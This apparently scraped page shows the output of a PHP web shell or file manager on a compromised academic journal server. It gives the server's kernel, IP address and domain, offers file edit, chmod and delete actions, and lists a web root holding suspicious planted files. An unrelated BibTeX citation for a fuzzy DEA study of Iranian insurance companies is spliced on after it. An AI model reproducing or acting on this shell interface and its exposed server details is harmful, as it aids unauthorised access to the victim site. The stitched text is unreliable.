Uname : Linux vps112573.inmotionhosting.com 4.18.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
Software : Apache
PHP : 8.0.30
IP Server : 213.165.251.118
Port : dmame-journal.org:443
Mail : ON
fa fa-folder-plus : Add Folder
fa fa-file-plus : Add File
fa fa-file-edit : Edit File
fa fa-edit : Rename
fa fa-file-signature : Chmod
fa fa-trash : Delete
Name Type Size Permission Last Modified Actions
. dir - 0750 2024-10-18 07:32:44
.. dir - 0750 2024-10-18 07:13:53
api dir - 0755 2024-10-18 07:24:11
cache dir - 0755 2024-10-18 07:36:10
classes dir - 0755 2024-10-18 07:24:11
controllers dir - 0755 2024-10-18 07:24:11
css dir - 0755 2024-10-18 07:24:11
dbscripts dir - 0755 2024-10-18 07:24:11
docs dir - 0755 2024-10-18 07:24:11
files dir - 0755 2024-10-18 07:24:11
.github dir - 0755 2024-09-29 10:30:14
js dir - 0755 2024-10-18 07:24:11
lib dir - 0755 2024-10-18 07:24:11
locale dir - 0755 2024-10-18 07:24:11
ofiles dir - 0777 2024-10-18 07:24:11
pages dir - 0755 2024-10-18 07:24:11
plugins dir - 0755 2024-10-18 07:24:11
public dir - 0755 2024-10-18 07:24:11
registry dir - 0755 2024-10-18 07:24:11
schemas dir - 0755 2024-10-18 07:24:11
styles dir - 0755 2024-10-18 07:24:11
template dir - 0755 2024-10-18 07:24:11
templates dir - 0755 2024-10-18 07:24:11
tools dir - 0755 2024-10-18 07:24:11
.well-known dir - 0755 2024-10-18 03:02:23
about.php text/x-php 335 B 0644 2024-10-18 03:18:18
config.inc.php text/plain 16.93 KB 0644 2024-09-14 11:09:58
config.TEMPLATE.inc.php text/plain 16.81 KB 0644 2023-06-30 05:51:36
cypress.json application/json 734 B 0644 2023-06-30 05:51:36
del.py text/plain 1018 B 0644 2024-10-18 07:36:01
DMAME_PaperTemplate.doc application/vnd.openxmlformats-officedocument.wordprocessingml.document 977.62 KB 0644 2024-02-04 04:14:58
favicon.ico image/vnd.microsoft.icon 1.12 KB 0644 2023-06-30 05:51:36
.htaccess text/plain 1.45 KB 0444 2023-09-14 07:24:12
indeks.php application/x-empty 0 B 0644 2024-10-03 10:10:21
index.php text/x-php 11.48 KB 0444 1970-01-01 12:00:00
JVapok5YBtO.php text/html 288 B 0644 2024-10-18 03:07:16
php.ini text/plain 40 B 0644 2024-10-18 06:07:36
README.md text/plain 2.23 KB 0644 2023-06-30 05:51:36
robots.txt text/plain 278 B 0644 2024-10-18 06:38:41
wp-blog-header.php text/x-php 1.83 KB 0644 2024-10-18 07:24:11
wp-cron.php text/x-php 1.83 KB 0644 2024-10-18 07:24:11
Copyright © 2022 - Code By LIT COURSE TEAM
@article{Amiri_Rostamy-Malkhalifeh_Farhad Hosseinzadeh Lotfi_Mozaffari_2023, title={Measuring returns to scale based on the triangular fuzzy DEA approach with different views of experts: Case study of Iranian insurance companies}, volume={6}, url={https://dmame-journal.org/index.php/dmame/article/view/740}, DOI={10.31181/dmame622023740}, abstractNote={<p class="DMAMEabstrac">The importance of insurance companies in the economic growth of countries has led to them, so in this article, the efficiency of insurance companies is measured based on inputs, favorable and unfavorable outputs. The developed model, unlike the previous models, considers the unfavorable outputs of insurance companies in conditions of uncertainty with fuzzy data based on different views of experts. The required data for each of the inputs and outputs have been provided by experts in the form of triangular fuzzy numbers. The existence of different views of experts, including optimistic, likely, and pessimistic, has led to its impact on the returns to the scale of insurance companies. The results of the survey of 24 insurance companies in Iran, based on the different views of experts, show that the more optimistic the experts’ view is, the higher the average return on the scale of insurance companies compared to other views. As the expert view has shifted from optimistic to pessimistic, returns to full scale for insurance companies have declined. In this way, the average return to the scale of all insurance companies is equal to 0.8972 in the optimistic view, in the probable view it is equal to 0.8863 and in the pessimistic view it is equal to 0.8336. The uncertainty rate also affects the inputs, desirable and undesirable outputs of the model, and with the increase of this rate, the desirable inputs and outputs decrease and the undesirable outputs increase. The result of this is the reduction of the average return to the scale of insurance companies with the increase of the uncertainty rate.</p>}, number={2}, journal={Decision Making: Applications in Management and Engineering}, author={Amiri, Mehdi and Rostamy-Malkhalifeh, Mohsen and Farhad Hosseinzadeh Lotfi and Mozaffari, Mohammadreza}, year={2023}, month={Aug.}, pages={787–807} }